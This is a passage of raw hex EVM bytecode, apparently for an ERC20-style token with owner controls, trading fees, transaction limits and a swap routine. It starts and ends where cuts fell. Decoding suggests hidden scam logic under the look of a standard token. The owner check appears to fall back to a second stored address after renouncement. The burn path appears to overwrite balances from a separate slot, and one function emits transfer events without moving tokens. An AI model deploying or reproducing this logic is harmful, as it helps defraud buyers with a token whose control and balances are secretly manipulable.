ffffffffffffffff16146200091657600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166200093a565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009cd57808604811115620009a557620009a46200093f565b5b6001851615620009b55780820291505b8081029050620009c5856200096e565b945062000985565b94509492505050565b600082620009e8576001905062000abb565b81620009f8576000905062000abb565b816001811462000a11576002811462000a1c5762000a52565b600191505062000abb565b60ff84111562000a315762000a306200093f565b5b8360020a91508482111562000a4b5762000a4a6200093f565b5b5062000abb565b5060208310610133831016604e8410600b841016171562000a8c5782820a90508381111562000a865762000a856200093f565b5b62000abb565b62000a9b84848460016200097b565b9250905081840481111562000ab55762000ab46200093f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000ae68262000ac2565b915062000af38362000acc565b925062000b227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009d6565b905092915050565b600062000b378262000ac2565b915062000b448362000ac2565b925082820262000b548162000ac2565b9150828204841483151762000b6e5762000b6d6200093f565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ba78262000b7a565b9050919050565b62000bb98162000b9a565b811462000bc557600080fd5b50565b60008151905062000bd98162000bae565b92915050565b60006020828403121562000bf85762000bf762000b75565b5b600062000c088482850162000bc8565b91505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000c9357607f821691505b60208210810362000ca95762000ca862000c4b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d137fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000cd4565b62000d1f868362000cd4565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000d6262000d5c62000d568462000ac2565b62000d37565b62000ac2565b9050919050565b6000819050919050565b62000d7e8362000d41565b62000d9662000d8d8262000d69565b84845462000ce1565b825550505050565b600090565b62000dad62000d9e565b62000dba81848462000d73565b505050565b5b8181101562000de25762000dd660008262000da3565b60018101905062000dc0565b5050565b601f82111562000e315762000dfb8162000caf565b62000e068462000cc4565b8101602085101562000e16578190505b62000e2e62000e258562000cc4565b83018262000dbf565b50505b505050565b600082821c905092915050565b600062000e566000198460080262000e36565b1980831691505092915050565b600062000e71838362000e43565b9150826002028217905092915050565b62000e8c8262000c11565b67ffffffffffffffff81111562000ea85762000ea762000c1c565b5b62000eb4825462000c7a565b62000ec182828562000de6565b600060209050601f83116001811462000ef9576000841562000ee4578287015190505b62000ef0858262000e63565b86555062000f60565b601f19841662000f098662000caf565b60005b8281101562000f335784890151825560018201915060208501945060208101905062000f0c565b8683101562000f53578489015162000f4f601f89168262000e43565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600062000fa48262000ac2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820362000fd95762000fd86200093f565b5b600182019050919050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60006200102d601f8362000fe4565b91506200103a8262000ff5565b602082019050919050565b6000602082019050818103600083015262001060816200101e565b9050919050565b6000620010748262000ac2565b9150620010818362000ac2565b92508282019050808211156200109c576200109b6200093f565b5b92915050565b620010ad8162000ac2565b82525050565b6000602082019050620010ca6000830184620010a2565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006200110860208362000fe4565b91506200111582620010d0565b602082019050919050565b600060208201905081810360008301526200113b81620010f9565b9050919050565b60805161425f6200117360003960008181610c7a0152818161292701528181612a080152612a45015261425f6000f3fe60806040526004361061021e5760003560e01c80637d16a72111610123578063c2b7bbb6116100ab578063dd8546521161006f578063dd85465214610792578063e2f45605146107bd578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c2b7bbb6146106bf578063c8c8ebe4146106e8578063c9567bf914610713578063cf9522fd1461072a578063dd62ed3e1461075557610225565b80639a7a23d6116100f25780639a7a23d6146105ca578063a457c2d7146105f3578063a9059cbb14610630578063afa4f3b21461066d578063b18834aa1461069657610225565b80637d16a7211461054657806389291a8f1461055d5780638da5cb5b1461057457806395d89b411461059f57610225565b80633be6e637116101a65780636f4fd18e116101755780636f4fd18e1461047557806370a082311461049e578063715018a6146104db5780637221ec1a146104f2578063751039fc1461052f57610225565b80633be6e637146103cd57806342966c68146103f6578063583e05681461041f5780636ddd17131461044a57610225565b806318160ddd116101ed57806318160ddd146102d257806323b872dd146102fd578063311028af1461033a578063313ce56714610365578063395093511461039057610225565b806306fdde031461022a578063095ea7b3146102555780630f054c06146102925780631111f43f146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612b8d565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c57565b6108f9565b6040516102899190612cb2565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102d060048036038101906102cb9190612e41565b610a6d565b005b3480156102de57600080fd5b506102e7610b72565b6040516102f49190612eac565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f9190612ec7565b610b7c565b6040516103319190612cb2565b60405180910390f35b34801561034657600080fd5b5061034f610bab565b60405161035c9190612eac565b60405180910390f35b34801561037157600080fd5b5061037a610bb1565b6040516103879190612f36565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190612c57565b610bba565b6040516103c49190612cb2565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef9190612f51565b610bf1565b005b34801561040257600080fd5b5061041d60048036038101906104189190612f91565b610c5c565b005b34801561042b57600080fd5b50610434610c78565b604051610441919061301d565b60405180910390f35b34801561045657600080fd5b5061045f610c9c565b60405161046c9190612cb2565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190612e41565b610caf565b005b3480156104aa57600080fd5b506104c560048036038101906104c09190613038565b610d4c565b6040516104d29190612eac565b60405180910390f35b3480156104e757600080fd5b506104f0610d94565b005b3480156104fe57600080fd5b5061051960048036038101906105149190613038565b610da8565b6040516105269190612cb2565b60405180910390f35b34801561053b57600080fd5b50610544610dfe565b005b34801561055257600080fd5b5061055b610e23565b005b34801561056957600080fd5b50610572610e48565b005b34801561058057600080fd5b50610589610edc565b6040516105969190613074565b60405180910390f35b3480156105ab57600080fd5b506105b4610f06565b6040516105c19190612b8d565b60405180910390f35b3480156105d657600080fd5b506105f160048036038101906105ec919061308f565b610f98565b005b3480156105ff57600080fd5b5061061a60048036038101906106159190612c57565b61103e565b6040516106279190612cb2565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612c57565b6110b5565b6040516106649190612cb2565b60405180910390f35b34801561067957600080fd5b50610694600480360381019061068f9190612f91565b6110d8565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061312a565b611108565b005b3480156106cb57600080fd5b506106e660048036038101906106e19190613038565b6111e5565b005b3480156106f457600080fd5b506106fd611231565b60405161070a9190612eac565b60405180910390f35b34801561071f57600080fd5b50610728611237565b005b34801561073657600080fd5b5061073f61125c565b60405161074c9190612eac565b60405180910390f35b34801561076157600080fd5b5061077c6004803603810190610777919061318a565b611262565b6040516107899190612eac565b60405180910390f35b34801561079e57600080fd5b506107a76112e9565b6040516107b49190612eac565b60405180910390f35b3480156107c957600080fd5b506107d26112ef565b6040516107df9190612eac565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190613038565b6112f5565b005b34801561081d57600080fd5b50610826611378565b6040516108339190612eac565b60405180910390f35b34801561084857600080fd5b5061085161137e565b60405161085e9190612cb2565b60405180910390f35b606060048054610876906131f9565b80601f01602080910402602001604051908101604052809291908181526020018280546108a2906131f9565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611391565b9050610911818585611399565b600191505092915050565b610924611562565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109649190613074565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a5919061323f565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132b8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132d8565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613316565b505050565b610a75611562565b60005b8251811015610b6d578160016000858481518110610a9957610a98613343565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610b0557610b04613343565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610b529190612cb2565b60405180910390a28080610b65906133a1565b915050610a78565b505050565b6000600354905090565b600080610b87611391565b9050610b948582856115e0565b610b9f85858561166c565b60019150509392505050565b60105481565b60006009905090565b600080610bc5611391565b9050610be6818585610bd78589611262565b610be191906133e9565b611399565b600191505092915050565b610bf9611562565b60148211158015610c0b575060328111155b610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190613469565b60405180910390fd5b81601281905550806011819055505050565b610c64611562565b610c75610c6f611391565b82612046565b50565b7f000000000000000000000000000000000000000000000000000000000000000081565b601360009054906101000a900460ff1681565b610cb7611562565b60005b8251811015610d47578160156000858481518110610cdb57610cda613343565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3f906133a1565b915050610cba565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d9c611562565b610da6600061221b565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610e06611562565b6000610e10610b72565b905080600e8190555080600d8190555050565b610e2b611562565b6001601360006101000a81548160ff021916908315150217905550565b610e50611562565b60004711610e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8a906134d5565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ed9573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610f15906131f9565b80601f0160208091040260200160405190810160405280929190818152602001828054610f41906131f9565b8015610f8e5780601f10610f6357610100808354040283529160200191610f8e565b820191906000526020600020905b815481529060010190602001808311610f7157829003601f168201915b5050505050905090565b610fa0611562565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790613567565b60405180910390fd5b61103a82826122e1565b5050565b600080611049611391565b905060006110578286611262565b90508381101561109c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611093906135f9565b60405180910390fd5b6110a98286868403611399565b60019250505092915050565b6000806110c0611391565b90506110cd81858561166c565b600191505092915050565b6110e0611562565b6110e8610bb1565b600a6110f4919061374c565b816110ff9190613797565b600f8190555050565b611110611562565b60005b838390508110156111df5783838281811061113157611130613343565b5b90506020020160208101906111469190613038565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c49190612eac565b60405180910390a380806111d7906133a1565b915050611113565b50505050565b6111ed611562565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b61123f611562565b6001601360016101000a81548160ff021916908315150217905550565b60115481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60125481565b600f5481565b6112fd611562565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361136c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113639061384b565b60405180910390fd5b6113758161221b565b50565b600d5481565b601360019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ff906138dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e9061396f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115559190612eac565b60405180910390a3505050565b61156a611391565b73ffffffffffffffffffffffffffffffffffffffff16611588612382565b73ffffffffffffffffffffffffffffffffffffffff16146115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d5906139db565b60405180910390fd5b565b60006115ec8484611262565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146116665781811015611658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164f90613a47565b60405180910390fd5b6116658484848403611399565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d290613ad9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361174a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174190613b6b565b60405180910390fd5b436016819055506000810361176a5761176583836000612396565b612041565b601360019054906101000a900460ff1661185f57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061181f5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61185e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185590613bd7565b60405180910390fd5b5b611867610edc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118d557506118a5610edc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561190e5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611948575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119615750600c60149054906101000a900460ff16155b15611be657601654600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a4f5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611af657600e54811115611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9090613c69565b60405180910390fd5b600d54611aa583610d4c565b82611ab091906133e9565b1115611af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae890613cd5565b60405180910390fd5b611be5565b601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b995750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be457600e54811115611be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bda90613d67565b60405180910390fd5b5b5b5b6000611bf130610d4c565b905060008082119050808015611c135750601360009054906101000a900460ff165b8015611c2c5750600c60149054906101000a900460ff16155b8015611c825750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cd85750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d2e5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d73576001600c60146101000a81548160ff021916908315150217905550611d578361260c565b6000600c60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611e0d5750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460165411155b15611e9a57611e5a600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279e565b611e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9090613df9565b60405180910390fd5b5b6000600c60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f4f5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f5957600090505b6000811561203157601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fe257611fdb6064611fcd601154886127aa90919063ffffffff16565b6127c090919063ffffffff16565b905061200d565b61200a6064611ffc601254886127aa90919063ffffffff16565b6127c090919063ffffffff16565b90505b600081111561202257612021873083612396565b5b808561202e9190613e19565b94505b61203c878787612396565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac90613ebf565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561213b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213290613f51565b60405180910390fd5b816007546121499190613e19565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461219d9190613e19565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122029190612eac565b60405180910390a3612216836000846127d6565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008061238d6127db565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fc90613ad9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246b90613b6b565b60405180910390fd5b61247f838383612883565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fc90613fe3565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125f39190612eac565b60405180910390a36126068484846127d6565b50505050565b600061261730610d4c565b9050600080820361262957505061279b565b600060115460125461263b91906133e9565b036126b7576000821180156126515750600f5482105b1561265e578190506126b2565b6000612688606461267a601154876127aa90919063ffffffff16565b6127c090919063ffffffff16565b905080846126969190613e19565b9350600f548411156126ac57600f5491506126b0565b8391505b505b61278f565b6000821180156126db57506126d86005600f546127c090919063ffffffff16565b82105b156126e757505061279b565b60008211801561270b57506127086005600f546127c090919063ffffffff16565b82115b80156127185750600f5482105b1561273a576127336005600f546127c090919063ffffffff16565b905061278e565b60006127646064612756601154876127aa90919063ffffffff16565b6127c090919063ffffffff16565b905080846127729190613e19565b9350600f5484111561278857600f54915061278c565b8391505b505b5b61279881612888565b50505b50565b60004382119050919050565b600081836127b89190613797565b905092915050565b600081836127ce9190614032565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461285a57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661287e565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b6000600267ffffffffffffffff8111156128a5576128a4612cd2565b5b6040519080825280602002602001820160405280156128d35781602001602082028036833780820191505090505b50905030816000815181106128eb576128ea613343565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612990573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129b49190614078565b816001815181106129c8576129c7613343565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a43307f00000000000000000000000000000000000000000000000000000000000000008473ffffffffffffffffffffffffffffffffffffffff16611399565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612ac79594939291906141cf565b600060405180830381600087803b158015612ae157600080fd5b505af1158015612af5573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b37578082015181840152602081019050612b1c565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b5f82612afd565b612b698185612b08565b9350612b79818560208601612b19565b612b8281612b43565b840191505092915050565b60006020820190508181036000830152612ba78184612b54565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bee82612bc3565b9050919050565b612bfe81612be3565b8114612c0957600080fd5b50565b600081359050612c1b81612bf5565b92915050565b6000819050919050565b612c3481612c21565b8114612c3f57600080fd5b50565b600081359050612c5181612c2b565b92915050565b60008060408385031215612c6e57612c6d612bb9565b5b6000612c7c85828601612c0c565b9250506020612c8d85828601612c42565b9150509250929050565b60008115159050919050565b612cac81612c97565b82525050565b6000602082019050612cc76000830184612ca3565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d0a82612b43565b810181811067ffffffffffffffff82111715612d2957612d28612cd2565b5b80604052505050565b6000612d3c612baf565b9050612d488282612d01565b919050565b600067ffffffffffffffff821115612d6857612d67612cd2565b5b602082029050602081019050919050565b600080fd5b6000612d91612d8c84612d4d565b612d32565b90508083825260208201905060208402830185811115612db457612db3612d79565b5b835b81811015612ddd5780612dc98882612c0c565b845260208401935050602081019050612db6565b5050509392505050565b600082601f830112612dfc57612dfb612ccd565b5b8135612e0c848260208601612d7e565b91505092915050565b612e1e81612c97565b8114612e2957600080fd5b50565b600081359050612e3b81612e15565b92915050565b60008060408385031215612e5857612e57612bb9565b5b600083013567ffffffffffffffff811115612e7657612e75612bbe565b5b612e8285828601612de7565b9250506020612e9385828601612e2c565b9150509250929050565b612ea681612c21565b82525050565b6000602082019050612ec16000830184612e9d565b92915050565b600080600060608486031215612ee057612edf612bb9565b5b6000612eee86828701612c0c565b9350506020612eff86828701612c0c565b9250506040612f1086828701612c42565b9150509250925092565b600060ff82169050919050565b612f3081612f1a565b82525050565b6000602082019050612f4b6000830184612f27565b92915050565b60008060408385031215612f6857612f67612bb9565b5b6000612f7685828601612c42565b9250506020612f8785828601612c42565b9150509250929050565b600060208284031215612fa757612fa6612bb9565b5b6000612fb584828501612c42565b91505092915050565b6000819050919050565b6000612fe3612fde612fd984612bc3565b612fbe565b612bc3565b9050919050565b6000612ff582612fc8565b9050919050565b600061300782612fea565b9050919050565b61301781612ffc565b82525050565b6000602082019050613032600083018461300e565b92915050565b60006020828403121561304e5761304d612bb9565b5b600061305c84828501612c0c565b91505092915050565b61306e81612be3565b82525050565b60006020820190506130896000830184613065565b92915050565b600080604083850312156130a6576130a5612bb9565b5b60006130b485828601612c0c565b92505060206130c585828601612e2c565b9150509250929050565b600080fd5b60008083601f8401126130ea576130e9612ccd565b5b8235905067ffffffffffffffff811115613107576131066130cf565b5b60208301915083602082028301111561312357613122612d79565b5b9250929050565b60008060006040848603121561314357613142612bb9565b5b600084013567ffffffffffffffff81111561316157613160612bbe565b5b61316d868287016130d4565b9350935050602061318086828701612c42565b9150509250925092565b600080604083850312156131a1576131a0612bb9565b5b60006131af85828601612c0c565b92505060206131c085828601612c0c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061321157607f821691505b602082108103613224576132236131ca565b5b50919050565b60008151905061323981612c2b565b92915050565b60006020828403121561325557613254612bb9565b5b60006132638482850161322a565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132a2601283612b08565b91506132ad8261326c565b602082019050919050565b600060208201905081810360008301526132d181613295565b9050919050565b60006040820190506132ed6000830185613065565b6132fa6020830184612e9d565b9392505050565b60008151905061331081612e15565b92915050565b60006020828403121561332c5761332b612bb9565b5b600061333a84828501613301565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006133ac82612c21565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036133de576133dd613372565b5b600182019050919050565b60006133f482612c21565b91506133ff83612c21565b925082820190508082111561341757613416613372565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b6000613453601683612b08565b915061345e8261341d565b602082019050919050565b6000602082019050818103600083015261348281613446565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134bf601683612b08565b91506134ca82613489565b602082019050919050565b600060208201905081810360008301526134ee816134b2565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613551603983612b08565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602583612b08565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156136705780860481111561364c5761364b613372565b5b600185161561365b5780820291505b808102905061366985613619565b9450613630565b94509492505050565b6000826136895760019050613745565b816136975760009050613745565b81600181146136ad57600281146136b7576136e6565b6001915050613745565b60ff8411156136c9576136c8613372565b5b8360020a9150848211156136e0576136df613372565b5b50613745565b5060208310610133831016604e8410600b841016171561371b5782820a90508381111561371657613715613372565b5b613745565b6137288484846001613626565b9250905081840481111561373f5761373e613372565b5b81810290505b9392505050565b600061375782612c21565b915061376283612f1a565b925061378f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613679565b905092915050565b60006137a282612c21565b91506137ad83612c21565b92508282026137bb81612c21565b915082820484148315176137d2576137d1613372565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613835602683612b08565b9150613840826137d9565b604082019050919050565b6000602082019050818103600083015261386481613828565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f72657373000000000000